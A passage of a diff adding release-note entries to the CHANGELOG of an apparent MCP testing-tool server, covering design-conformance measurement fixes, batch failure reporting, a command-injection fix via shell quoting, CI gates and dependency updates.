+ on this screen" into a fabricated defect. Exact matches claim first, then near
547
+ matches take what remains, strongest pair first.
548
+
549
+ Reachable from `design_visual_compare` via `design_copy`, so one call covers
550
+ geometry and copy together.
551
+
552
+ Found on the audited module the first time it ran: the design specifies "Soyadı",
553
+ the app renders "Soyad" — with 10 of 13 strings confirmed on-spec.
554
+
555
+ ## [2.16.0] - 2026-07-26
556
+
557
+ A stretching element's horizontal insets were measured against the frame, which
558
+ reported a perfectly on-spec button as off.
559
+
560
+ ### Fixed
561
+
562
+ - **Horizontal insets are measured against the parent, not the frame.** A button
563
+ 16pt inside a modal keeps 16pt on any device, but its distance to the frame edge
564
+ changes with both the screen width and the modal's own width. Measured against
565
+ the frame, design 32pt vs live 40pt looked like a defect; against the parent both
566
+ sides read 16/16 — identical. Parenthood is recovered geometrically (the smallest
567
+ box that fully contains this one), so it needs no project knowledge and applies
568
+ to either side. A genuinely wrong inset inside a parent is still reported.
569
+
570
+ ### Changed
571
+
572
+ - **Advisories collapse to one line.** They exist to say "do not act on this", so
573
+ a full card per advisory beside the real findings doubled the page for the same
574
+ elements while giving the reader nothing to do. Now a single expandable summary.
575
+
576
+ ## [2.15.0] - 2026-07-26
577
+
578
+ The checks added in 2.12–2.14 overlapped, so one defect could arrive in the
579
+ report three times and a finding the engine could not actually confirm was
580
+ presented with the same weight as one it could.
581
+
582
+ ### Changed
583
+
584
+ - **One measurement, one owner.** `edge` was reporting distances that `inset` and
585
+ `gap` already owned — including, via the raw spec geometry, the very
586
+ wrapper-vs-visible phantom 2.11.0 removed. It is now restricted to the one
587
+ thing nothing else measures: the horizontal distance between two siblings (an
588
+ icon-to-label gap). Vertical sibling distances belong to `gap`, horizontal
589
+ frame distances to `inset`, which resolves them from the pixels.
590
+ - **Centring and symmetry read the pixel edges too.** They were computed from the
591
+ raw boxes, so a full-bleed wrapper was trivially "centred" while the live AX
592
+ union was not — an off-centre finding on a correct screen. The pixel edges are
593
+ now resolved once per element and every check reads the same answer.
594
+ - **Unconfirmed findings are advisory.** An inset with no pixel confirmation may
595
+ be comparing a wrapper box against a glyph run, so it is reported with that
596
+ reason attached rather than as a defect. Alignment findings derived from the
597
+ same boxes follow it.
598
+
599
+ Re-measuring an existing 28-screen audit: 109 reported deviations became 52
600
+ confirmed ones, and the worst offender went from 7 findings to 1.
601
+
602
+ ## [2.14.0] - 2026-07-26
603
+
604
+ Design conformance was measured with absolute positions, which answer the wrong
605
+ question: two screens showing the same component with different mock content put
606
+ it at different Y, so a conformant screen was reported as "+37pt off" while a
607
+ real defect beside it went unreported.
608
+
609
+ ### Added
610
+
611
+ - **Local edge distances — the on-device-inspector measurement, made generic.**
612
+ For every element, the four distances to whatever actually bounds it: the
613
+ nearest sibling overlapping on the perpendicular axis, else the frame edge.
614
+ The identical pure-geometry function runs over the design box list and the live
615
+ box list, so no per-project knowledge and nothing that has to execute inside
616
+ the app. A block pushed down by a taller fixture keeps its own distances and
617
+ stays silent; a padding or gap that genuinely changed surfaces on the exact
618
+ edge, naming what it was measured against.
619
+
620
+ Three cases are demoted to advisory rather than reported as defects, because
621
+ each is the same fact arriving twice or a quantity that is not local:
622
+ - a trailing edge that moved only because the element itself grew (already
623
+ reported as size),
624
+ - a distance measured to a sibling on one side and to the frame on the other,
625
+ - a vertical distance to the frame, which accumulates every block above it and
626
+ so has exactly the flaw absolute Y had. Horizontal frame distances are real
627
+ margins and stay real.
628
+
629
+ ### Notes
630
+
631
+ - Font size, weight and colour still cannot be read from outside the process, so
632
+ typography remains a design-side expectation to verify in code rather than a
633
+ measured delta.
634
+
635
+ ## [2.13.0] - 2026-07-26
636
+
637
+ `agent_run_steps` reported failed steps as successes. A batch could run to
638
+ completion with `verdict: "all_ok"` while every step in it had failed.
639
+
640
+ ### Fixed
641
+
642
+ - **Step failures are now reported as failures.** `run()` signals a command
643
+ failure by RETURNING a string prefixed with `ERROR: ` rather than by throwing.
644
+ The `tools/call` handler tests for that marker with `isFailure()` before
645
+ answering the host, but the batch loop only had a `try`/`catch`, so a broken
646
+ step was recorded `status: "ok"`, `errors` stayed `0`, the verdict published
647
+ `all_ok`, and `stop_on_first_error` never fired because nothing threw. The loop
648
+ now applies the same `isFailure()` judgement the single-call path does.
649
+ - **`stop_on_first_error` stops the batch.** Previously only a thrown exception
650
+ could halt it, which meant the common case (a CLI exiting non-zero) ran every
651
+ remaining step against a device left in an unexpected state.
652
+
653
+ ### Added
654
+
655
+ - **`aborted` in the batch report**, distinguishing "stopped early because a step
656
+ failed" from "ran everything and some steps failed". An aborted batch also sets
657
+ `isError` on the result envelope; failures the caller opted into with
658
+ `continue_on_error` do not, since there the call did what it was asked.
659
+ - **`design_*` steps are dispatched.** The tool description offered "any tool
660
+ name" while the loop only handled `ios_*`, `android_*` and `web_*`, so the six
661
+ design-check tools were refused with "Unknown tool".
662
+ - **Gate 7 in `scripts/gates.sh`** covers all of the above, probing with
663
+ `ios_archive_audit` on a missing path: it returns the failure marker without
664
+ throwing and needs no simulator, emulator or external binary, so it exercises
665
+ the same path on every runner. Verified to fail against the old behaviour.
666
+ - **Gate 9 in `scripts/gates.sh`** requires a CHANGELOG entry for the version in
667
+ `package.json`. Added because 2.11.0 and 2.12.0 shipped without one.
668
+
669
+ ### Changed
670
+
671
+ - The `agent_run_steps` description and its `tool` schema text now state the
672
+ accepted prefixes and the failure semantics instead of "any tool name".
673
+ - Nested `agent_*` steps are refused explicitly rather than falling through to
674
+ "Unknown tool"; a batch able to nest itself has no recursion bound.
675
+
676
+ ---
677
+
678
+ ## [2.12.0] - 2026-07-26
679
+
680
+ Recorded after the fact: this release shipped without a CHANGELOG entry. Summary
681
+ transcribed from commit `a8d83ba`.
682
+
683
+ `design_visual_compare` answers "is it built 1:1" with relations rather than
684
+ absolute positions.
685
+
686
+ ### Changed
687
+
688
+ - **Absolute Y was the wrong unit.** Two screens rendering the same component
689
+ with different mock content place it at a different Y, so the audit flagged
690
+ conformant screens as "+37pt off" while missing an actual defect beside it.
691
+ Absolute top offset is demoted to advisory; the sibling gap plus the relational
692
+ checks carry the vertical signal.
693
+
694
+ ### Added
695
+
696
+ - Content-independent checks promoted to first class: centred-in-frame (offset
697
+ from centre, not position), margin symmetry, shared centre line, and
698
+ icon/control size, which also flags anything under the 44pt minimum tap target.
699
+ - 7 tests (80 total).
700
+
701
+ ---
702
+
703
+ ## [2.11.0] - 2026-07-25
704
+
705
+ Recorded after the fact: this release shipped without a CHANGELOG entry. Summary
706
+ transcribed from commit `0ec8ba3`.
707
+
708
+ ### Fixed
709
+
710
+ - **False-positive inset findings.** A Figma node tree reports the instance
711
+ wrapper (full-bleed, x=0, w=375) while the accessibility tree reports the
712
+ visible card inside it (inset 16pt), so comparing one against the other
713
+ reported "+16pt off" on a conformant screen. For a row spanning at least 80% of
714
+ the frame the insets are now read off the two renders instead. Verified on a
715
+ real screen: 7 deviations down to 3, all 3 genuine. A genuinely wrong inset is
716
+ still caught, with a regression test.
717
+ - An advisory-only screen no longer prints an empty DEVIATIONS heading, and that
718
+ guard's assertion targets the status chip rather than matching a substring
719
+ anywhere in the document.
720
+
721
+ ### Added
722
+
723
+ - **Fixed-field fix prompt** replacing prose that lost which property moved and
724
+ by how much: element | property | expected -> actual | delta, plus a SHARED
725
+ ROOT CAUSE section collapsing a delta repeated across elements into one likely
726
+ container or token cause, and a DO NOT CHANGE section so advisories and fixture
727
+ differences are not "fixed" into new bugs.
728
+ - 6 tests (73 total).
729
+
730
+ ---
731
+
732
+ ## [2.10.0] - 2026-07-25
733
+
734
+ `design_visual_compare` now measures what a designer actually specifies, in
735
+ points, instead of comparing raw pixel dimensions between two frames that are
736
+ rarely the same size.
737
+
738
+ ### Changed
739
+
740
+ - **Responsive, point-based conformance measurement.** Raw width/height deltas
741
+ were misleading: a device and a Figma frame are seldom the same width (402pt
742
+ vs 375pt), so a full-bleed 375pt design container measured against a 402pt
743
+ screen's 16pt-inset card reported "-29px too narrow" when nothing was wrong,
744
+ and any container that hugs its content turned every fixture difference into a
745
+ size finding that buried the real defects. The comparison now reports
746
+ per-element edge insets (left/right) rather than raw width, gaps between
747
+ consecutive elements, vertical placement, and font size, family and text
748
+ colour sampled from the text ink rather than the box average - the box average
749
+ previously returned the background colour and so passed every check. Pass
750
+ `responsive: false` to restore the previous absolute-delta behaviour.
751
+ - **Height is advisory.** It is still reported, but a content-driven height
752
+ difference no longer decides pass/fail and no longer inflates the deviation
753
+ count. Advisories render in their own uncounted group in the report.
754
+
755
+ ### Fixed
756
+
757
+ - **The report dropped the measured delta.** `findingLine` discarded `f.detail`
758
+ whenever `expected`/`actual` were present, so an inset finding rendered as
759
+ "left 0pt -> left 16pt" and lost both the delta and which edge moved. The
760
+ detail is the actionable half of a responsive measurement, so it now renders
761
+ alongside.
762
+ - **An advisory-only screen contradicted its own header.** The header total
763
+ excluded advisories but the per-screen status label and `fail` class were
764
+ computed by a separate expression that still counted them, so a screen whose
765
+ only finding was advisory rendered as DEVIATION underneath a header that said
766
+ 0 deviations. Both now exclude advisories on the same terms.
767
+
768
+ Adds 13 tests pinning the inset/gap/advisory behaviour and the report's
769
+ advisory accounting.
770
+
771
+ ## [2.9.0] - 2026-07-25
772
+
773
+ Every item below is one shape of defect: a tool that reported success while
774
+ doing nothing. Three wrapped host-tool flags had silently stopped existing, and
775
+ because no failure ever carried `isError`, no host could tell.
776
+
777
+ ### Fixed
778
+
779
+ - **`isError` on every failure.** The `CallTool` dispatch returned command
780
+ failures as ordinary text, so a host - and the pipeline gates reading these
781
+ results - saw failure as success. Failures now return `isError: true`. Failing
782
+ command output is also capped at 600 chars: a failed `simctl` call was
783
+ inlining its entire ~3 KB usage page into the caller's context.
784
+ - **`ios_biometric` was a no-op that claimed success.** `simctl keychain
785
+ <device> biometric-enroll` / `biometric-match` do not exist - `keychain`
786
+ supports only `add-root-cert`, `add-cert`, `reset`. Now drives the BiometricKit
787
+ notification via `notifyutil` inside the simulator, and because `notifyutil`
788
+ exits 0 even when it cannot post the name, its output is inspected: a "Failed
789
+ with code N" line is reported as a failure with next steps instead of
790
+ "success simulated".
791
+ - **`ios_go_home` was a no-op.** `simctl io <device> pressButton` does not exist
792
+ - `io` supports only `enumerate`, `poll`, `recordVideo`, `screenshot`,
793
+ `screenConfig`. Routed through `idb ui button HOME`, like tap/swipe/type.
794
+ - **`android_set_locale` reported success unconditionally.** It broadcast the
795
+ dead pre-Android-7 `SET_LOCALE` intent with stderr sent to `/dev/null`, and
796
+ `am broadcast` exits 0 even when nothing handles the intent. Now uses the
797
+ supported per-app path `cmd locale set-app-locales` (API 33+), inspects the
798
+ output for `Unknown command` / usage text before claiming success, and reads
799
+ the value back. `package_name` stays optional in the schema (no breaking
800
+ change) but the call returns an error instead of doing nothing without it.
801
+ - **Command injection.** Commands are built as strings for a shell, and `$( )`
802
+ expands inside double quotes, so double-quoting a caller value did not contain
803
+ it. `ios_revoke_permission`'s `service` and the Android `permission` names were
804
+ interpolated with no quoting at all. Adds `shq()` (POSIX single-quoting),
805
+ `num()` for coordinates and scales, and `token()` for enum-shaped values, and
806
+ applies them across every caller-supplied interpolation.
807
+ - **Unavailable-capability guards** ("Xcode not installed", "Android SDK not
808
+ installed") returned as success text; they are failures and now say so.
809
+ - **ITMS-91061 filed at the wrong severity.** A required-SDK framework missing
810
+ `PrivacyInfo.xcprivacy` was a `5.1.1` WARNING; it has been an enforced upload
811
+ rejection since 2025-02-12. Now `ITMS-91061` at ERROR. This changes
812
+ archive-guard verdicts: archives that previously passed with a warning fail now.
813
+
814
+ ### Added
815
+
816
+ - **`sdk-floor` audit rule** (ITMS-90725), bringing `ios_app_store_audit` to
817
+ **18 rules**. Asserts `DTSDKName` / `DTPlatformVersion` major >= 26 and
818
+ `DTXcode` >= 2600, the iOS 26 / Xcode 26 floor in force since 2026-04-28 - a
819
+ hard upload rejection that nothing checked. Grouped as `core` because it costs
820
+ nothing to run. Reports a WARNING when an archive carries no build receipts at
821
+ all, rather than passing silently.
822
+
823
+ ### Changed
824
+
825
+ - **`peerDependencies.playwright`** from the exact pin `1.61.1` to
826
+ `>=1.60.0 <2`. Since npm 7 an unsatisfiable peer is a hard `ERESOLVE`, so the
827
+ exact pin broke installs for anyone already on 1.62.0. None of the APIs removed
828
+ in the 1.60 window are used here, and browser-binary coupling is already
829
+ enforced inside the playwright package itself.
830
+ - **`engines.node`** from `>=18.0.0` to `>=20.0.0`, matching what
831
+ `playwright@1.62.0` requires and what CI already runs.
832
+
833
+ ## [2.7.1] - 2026-07-25
834
+
835
+ ### Added
836
+
837
+ - **Tool annotations** on all 78 tools (MCP `2025-11-25`): `readOnlyHint`,
838
+ `destructiveHint`, `idempotentHint`, `openWorldHint`. Hosts use these for
839
+ permission prompts and for deciding what may run unattended. 24 tools are
840
+ read-only (screenshots, UI trees, audits, device/app listings), 5 are
841
+ destructive (`ios_erase_device`, `ios_keychain_reset`, `ios_reset_permissions`,
842
+ `android_uninstall_app`, `android_clear_app_data`), 8 are open-world (the
843
+ `web_*` family). The classification lives in one auditable block in
844
+ `index.js`, not inline on 78 literals.
845
+ - **`scripts/gates.sh`** - the single definition of "safe to ship": syntax over
846
+ every loaded file, a stdio `tools/list` handshake that must answer with a
847
+ non-zero count, the tool count matching every place it is advertised
848
+ (`package.json` description + README header), `npm pack --dry-run` covering
849
+ every runtime `tools/*/` directory, stdout hygiene (stdout is the JSON-RPC
850
+ channel), version single-sourcing, and every test suite in the repo. Run with
851
+ `npm run gates`.
852
+ - **CI** (`.github/workflows/ci.yml`) on ubuntu + macOS x Node 20/22, running
853
+ `npm run gates` so the release path and CI cannot drift apart.
854
+ - **`npm run gates`** script.
855
+
856
+ ### Changed
857
+
858
+ - `@modelcontextprotocol/sdk` range `^1.0.0` -> `^1.29.0`. The old range let a
859
+ four-major spread install under the same declaration; the tested version is
860
+ now the declared one. Transitive advisories dropped from 8 (2 high: `hono`,
861
+ `fast-uri`) to 2 moderate.
862
+ - `serverInfo.version` is read from `package.json` instead of a second
863
+ hardcoded literal, so a version bump can no longer leave the server
864
+ advertising a version consumers gate on but never received.
865
+
866
+ ### Known
867
+
868
+ - Two moderate advisories remain in `@hono/node-server`, pulled in by the SDK's
869
+ streamable-HTTP transport. This server only runs over stdio and never loads
870
+ that path; the fix has to land upstream in the SDK (npm's only local
871
+ "fix" is a downgrade to an older SDK, which would be a regression).